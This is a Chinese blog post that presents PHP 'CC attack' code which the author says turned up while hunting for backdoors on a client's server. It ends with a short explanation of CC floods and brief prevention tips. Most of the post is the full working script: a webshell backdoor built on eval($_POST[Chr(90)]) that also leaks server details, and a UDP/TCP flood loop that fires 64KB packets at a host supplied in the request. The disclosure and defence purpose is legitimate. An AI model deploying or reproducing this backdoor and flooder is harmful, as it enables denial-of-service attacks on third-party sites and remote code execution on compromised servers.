1. 程式人生 > 實用技巧 >PHP Socket程式設計 之 php cc攻擊程式碼與防範方法

PHP Socket程式設計 之 php cc攻擊程式碼與防範方法

今天把客戶查詢後門的時候發現的程式碼,特分享下,看到這樣的程式碼就是黑客用來攻擊別人訪問,不斷訪問指定網站,導致網站無法訪問,我們的網站就是幫凶了,同時我們自己的網站或伺服器也會無法訪問,所以一定要注意防範。

cc攻擊程式碼,支援udp

<?php
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>

所謂的CC攻擊就是對方利用程式或一些代理對您的網站進行不間斷的訪問,造成您的網站處理不了而處於當機狀態

對於cc攻擊的防範,如果是動態頁面,我們可以判斷時間,如果是靜態的網站我們就需要伺服器上安裝防cc攻擊的軟體了, 一般伺服器安全狗還是不錯的。